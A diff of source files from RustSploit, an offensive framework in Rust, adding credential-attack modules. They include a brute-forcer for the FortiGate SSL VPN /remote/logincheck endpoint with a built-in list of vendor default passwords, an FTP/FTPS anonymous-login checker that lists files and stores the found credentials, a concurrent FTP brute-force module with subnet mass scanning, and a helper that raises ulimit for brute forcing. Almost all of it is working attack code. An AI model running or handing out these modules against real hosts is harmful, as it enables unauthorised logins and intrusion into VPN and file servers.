description: "Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
crate::mprintln!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
raise_ulimit().await
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
// For ulimit operations, target is informational only.
|
||||
let target = ctx.target.as_single().context("module requires a single-host target")?;
|
||||
if !target.is_empty() {
|
||||
crate::mprintln!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
}
|
||||
raise_ulimit().await?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
if let Ok((soft, hard)) = get_current_limits() {
|
||||
outcome.findings.push(Finding {
|
||||
target: "localhost".to_string(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!("File descriptor limits — soft: {}, hard: {}", soft, hard),
|
||||
data: Some(serde_json::json!({
|
||||
"soft_limit": soft,
|
||||
"hard_limit": hard,
|
||||
"target_limit": TARGET_FILE_LIMIT,
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let (soft, hard) = Resource::NOFILE.get()
|
||||
.context("Failed to get current limits")?;
|
||||
Ok((soft, hard))
|
||||
}
|
||||
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
Resource::NOFILE.set(soft, hard)
|
||||
.context("Failed to set limits")
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
display_banner();
|
||||
|
||||
// Get current limits
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
crate::mprintln!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
current_hard
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
TARGET_FILE_LIMIT
|
||||
};
|
||||
|
||||
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
|
||||
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
crate::mprintln!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
crate::mprintln!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
crate::mprintln!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
crate::mprintln!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
crate::mprintln!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
crate::mprintln!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
crate::mprintln!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
crate::mprintln!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
crate::mprintln!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
crate::mprintln!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
crate::mprintln!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
crate::mprintln!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Shell Instructions ===".bold());
|
||||
crate::mprintln!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
crate::mprintln!("{}", " ulimit -n 65535".white());
|
||||
crate::mprintln!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
crate::mprintln!("{}", " * soft nofile 65535".white());
|
||||
crate::mprintln!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/enablebruteforce", native);
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
//! Fortinet FortiGate SSL VPN credential probe via the `/remote/logincheck`
|
||||
//! POST endpoint.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::network::{build_http_client_with, HttpClientOpts};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
|
||||
const DEFAULTS: &[(&str, &str)] = &[
|
||||
("admin", ""),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "fortinet"),
|
||||
("admin", "fortigate"),
|
||||
("admin", "12345"),
|
||||
];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Fortinet SSL VPN Bruteforce".to_string(),
|
||||
description:
|
||||
"POSTs `username=&secretkey=` to /remote/logincheck on a FortiGate SSL VPN portal \
|
||||
and inspects the response body for the redirect / error markers. Single-target — \
|
||||
scheduler does fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(443),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("fortinet_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "fortinet_sslvpn",
|
||||
default_port: DEFAULT_PORT,
|
||||
source_module: "creds/generic/fortinet_bruteforce",
|
||||
defaults: DEFAULTS,
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
let opts = HttpClientOpts::permissive();
|
||||
let client = match build_http_client_with(timeout, opts) {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("http client: {e}"),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
};
|
||||
let url = format!("https://{}:{}/remote/logincheck", host, port);
|
||||
let body = format!(
|
||||
"username={}&secretkey={}&ajax=1",
|
||||
crate::utils::url_encode(user),
|
||||
crate::utils::url_encode(pass)
|
||||
);
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.send()
|
||||
.await;
|
||||
let resp = match resp {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("post: {e}"),
|
||||
retryable: e.is_timeout() || e.is_connect(),
|
||||
}
|
||||
}
|
||||
};
|
||||
let status = resp.status().as_u16();
|
||||
// Cap the body we buffer: the logincheck response is tiny, but a hostile
|
||||
// or misbehaving endpoint on :443 could stream an unbounded body. Reading
|
||||
// the raw bytes with a sane cap avoids an OOM, and we only ever inspect a
|
||||
// short prefix below.
|
||||
const MAX_BODY: usize = 64 * 1024;
|
||||
let bytes = match crate::utils::safe_io::read_http_body_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("read body: {e}"),
|
||||
retryable: true,
|
||||
}
|
||||
}
|
||||
};
|
||||
let capped = &bytes[..bytes.len().min(MAX_BODY)];
|
||||
let txt = String::from_utf8_lossy(capped).into_owned();
|
||||
// FortiOS replies with `ret=1,...` on success and `ret=0,error=...` on
|
||||
// failure. SAML / 2FA replies start with `redir=`.
|
||||
if txt.starts_with("ret=1") || txt.contains("redir=/sslvpn/") {
|
||||
LoginResult::Success
|
||||
} else if txt.starts_with("ret=0") || status == 401 || status == 403 {
|
||||
LoginResult::AuthFailed
|
||||
} else {
|
||||
LoginResult::Error {
|
||||
message: format!("unexpected response status={status} body={}", txt.chars().take(80).collect::<String>()),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/fortinet_bruteforce", native);
|
||||
@@ -1,13 +1,52 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Anonymous Login Checker".to_string(),
|
||||
description: "Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode).".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: Some(21),
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ FTP Anonymous Login Checker ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
if (target.starts_with('[') && target.contains("]:"))
|
||||
|| (target.matches(':').count() == 1 && !target.contains('['))
|
||||
{
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
@@ -24,7 +63,17 @@ fn format_addr(target: &str, port: u16) -> String {
|
||||
}
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("ftp_anonymous requires a single-host target")?;
|
||||
display_banner();
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
@@ -32,57 +81,268 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Connecting to FTP service on {}...", addr).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
// 1. Try plain FTP first
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Attempting plain FTP connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
let tcp_result = timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
|
||||
)
|
||||
.await;
|
||||
match tcp_result {
|
||||
Ok(Ok(tcp_stream)) => match AsyncFtpStream::connect_with_stream(tcp_stream).await {
|
||||
Ok(mut ftp) => {
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] FTP connection established to {}", addr).dimmed()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] Sending USER anonymous / PASS anonymous ...".dimmed()
|
||||
);
|
||||
}
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
match ftp.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len())
|
||||
.dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] ... and {} more entries",
|
||||
entries.len() - 20
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: domain,
|
||||
port: 21,
|
||||
service: "ftp",
|
||||
username: "anonymous",
|
||||
secret: "anonymous@",
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/generic/ftp_anonymous",
|
||||
})
|
||||
.await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
outcome.findings.push(Finding {
|
||||
target: domain.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("FTP anonymous login at {}:21", domain),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "ftp", "host": domain, "port": 21,
|
||||
"username": "anonymous", "password": "anonymous@",
|
||||
"tls": false,
|
||||
})),
|
||||
});
|
||||
if let Err(e) = ftp.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
|
||||
return Ok(outcome);
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Server response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
if let Err(e) = ftp.quit().await { tracing::debug!("FTP quit failed: {e}"); }
|
||||
return Ok(outcome);
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] FTP server requires TLS — upgrading to FTPS...".cyan()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] SSL required response: {}", e).dimmed()
|
||||
);
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[!] FTP handshake error: {}", e).red());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] FTP handshake error details: {:?}", e).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
crate::mprintln!("{}", format!("[!] FTP connection error: {}", e).red());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Connection error details: {:?}", e).dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::debug!("timeout: {e}");
|
||||
crate::mprintln!("{}", "[-] FTP connection timed out".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[VERBOSE] Timeout after {}s connecting to {}",
|
||||
DEFAULT_TIMEOUT_SECS, addr
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
// 2. Fallback to FTPS
|
||||
crate::mprintln!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Initiating TLS connection to {}...", addr).dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
let tcp_stream = timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connection timed out: {e}"))?
|
||||
.context("FTPS TCP connect failed")?;
|
||||
|
||||
let ftp_plain = AsyncNativeTlsFtpStream::connect_with_stream(tcp_stream)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
.context("FTPS FTP handshake failed")?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] FTPS TCP connection established, performing TLS upgrade...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
ftps = ftps
|
||||
let mut ftps = ftp_plain
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
.context("FTPS TLS upgrade failed")?;
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[VERBOSE] TLS handshake complete, sending anonymous credentials...".dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
let _ = ftps.quit().await;
|
||||
crate::mprintln!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
match ftps.list(None).await {
|
||||
Ok(entries) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[+] LIST command successful - Read Access Confirmed".green()
|
||||
);
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] LIST returned {} entries", entries.len()).dimmed()
|
||||
);
|
||||
for entry in entries.iter().take(20) {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] {}", entry).dimmed());
|
||||
}
|
||||
if entries.len() > 20 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] ... and {} more entries", entries.len() - 20)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] Login worked but LIST failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
// Persist credential to framework credential store
|
||||
if crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: domain,
|
||||
port: 21,
|
||||
service: "ftp",
|
||||
username: "anonymous",
|
||||
secret: "anonymous@",
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/generic/ftp_anonymous",
|
||||
})
|
||||
.await.is_none() { eprintln!("[!] Failed to store credential"); }
|
||||
outcome.findings.push(Finding {
|
||||
target: domain.to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("FTPS anonymous login at {}:21", domain),
|
||||
data: Some(serde_json::json!({
|
||||
"service": "ftp", "host": domain, "port": 21,
|
||||
"username": "anonymous", "password": "anonymous@",
|
||||
"tls": true,
|
||||
})),
|
||||
});
|
||||
if let Err(e) = ftps.quit().await { eprintln!("[!] FTP quit failed: {}", e); }
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
crate::mprintln!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
if verbose {
|
||||
crate::mprintln!("{}", format!("[VERBOSE] FTPS rejection: {}", e).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/ftp_anonymous", native);
|
||||
|
||||
@@ -1,393 +1,391 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{
|
||||
AsyncFtpStream,
|
||||
AsyncNativeTlsFtpStream,
|
||||
AsyncNativeTlsConnector,
|
||||
};
|
||||
use anyhow::{ anyhow, Context, Result };
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{ AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream };
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
sync::Arc, // Keep Arc
|
||||
net::IpAddr,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore}, // Import Semaphore
|
||||
time::{sleep, Duration}
|
||||
use tokio::time::{ sleep, timeout };
|
||||
|
||||
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
|
||||
use crate::utils::{
|
||||
cfg_prompt_default,
|
||||
cfg_prompt_port,
|
||||
cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range,
|
||||
cfg_prompt_yes_no,
|
||||
cfg_prompt_output_file,
|
||||
load_lines,
|
||||
load_lines_uncapped,
|
||||
file_size,
|
||||
STREAMING_THRESHOLD,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig,
|
||||
LoginResult,
|
||||
SubnetScanConfig,
|
||||
parse_combo_mode,
|
||||
load_credential_file,
|
||||
run_bruteforce_streaming,
|
||||
run_subnet_bruteforce,
|
||||
is_subnet_target,
|
||||
};
|
||||
use std::path::Path;
|
||||
use sysinfo::System;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
|
||||
let cpu_count = system.cpus().len();
|
||||
let cpu_usage = if cpu_count > 0 {
|
||||
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
let total_memory = system.total_memory();
|
||||
let ram_used = if total_memory > 0 {
|
||||
system.used_memory() as f32 / total_memory as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
if cpu_usage > 80.0 || ram_used > 0.8 {
|
||||
sleep(Duration::from_millis(50)).await;
|
||||
} else if cpu_usage > 60.0 || ram_used > 0.6 {
|
||||
sleep(Duration::from_millis(25)).await;
|
||||
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
} else {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Brute Force".to_string(),
|
||||
description: "Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: Some(21),
|
||||
}
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// FTP error classification for retry decisions.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum FtpErrorType {
|
||||
AuthenticationFailed,
|
||||
TlsRequired,
|
||||
ConnectionLimitExceeded,
|
||||
ConnectionFailed,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl FtpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect")
|
||||
|| (msg_lower.contains("user") && msg_lower.contains("cannot"))
|
||||
|| (msg_lower.contains("password") && msg_lower.contains("incorrect"))
|
||||
{
|
||||
return Self::AuthenticationFailed;
|
||||
}
|
||||
if msg.contains("550 SSL") || msg_lower.contains("tls required")
|
||||
|| msg_lower.contains("ssl connection required")
|
||||
|| msg.contains("220 TLS go first")
|
||||
|| msg_lower.contains("must use tls")
|
||||
{
|
||||
return Self::TlsRequired;
|
||||
}
|
||||
if msg.contains("421") || msg_lower.contains("too many")
|
||||
|| msg_lower.contains("connection limit")
|
||||
{
|
||||
return Self::ConnectionLimitExceeded;
|
||||
}
|
||||
if msg_lower.contains("connection refused")
|
||||
|| msg_lower.contains("no route to host")
|
||||
|| msg_lower.contains("network unreachable")
|
||||
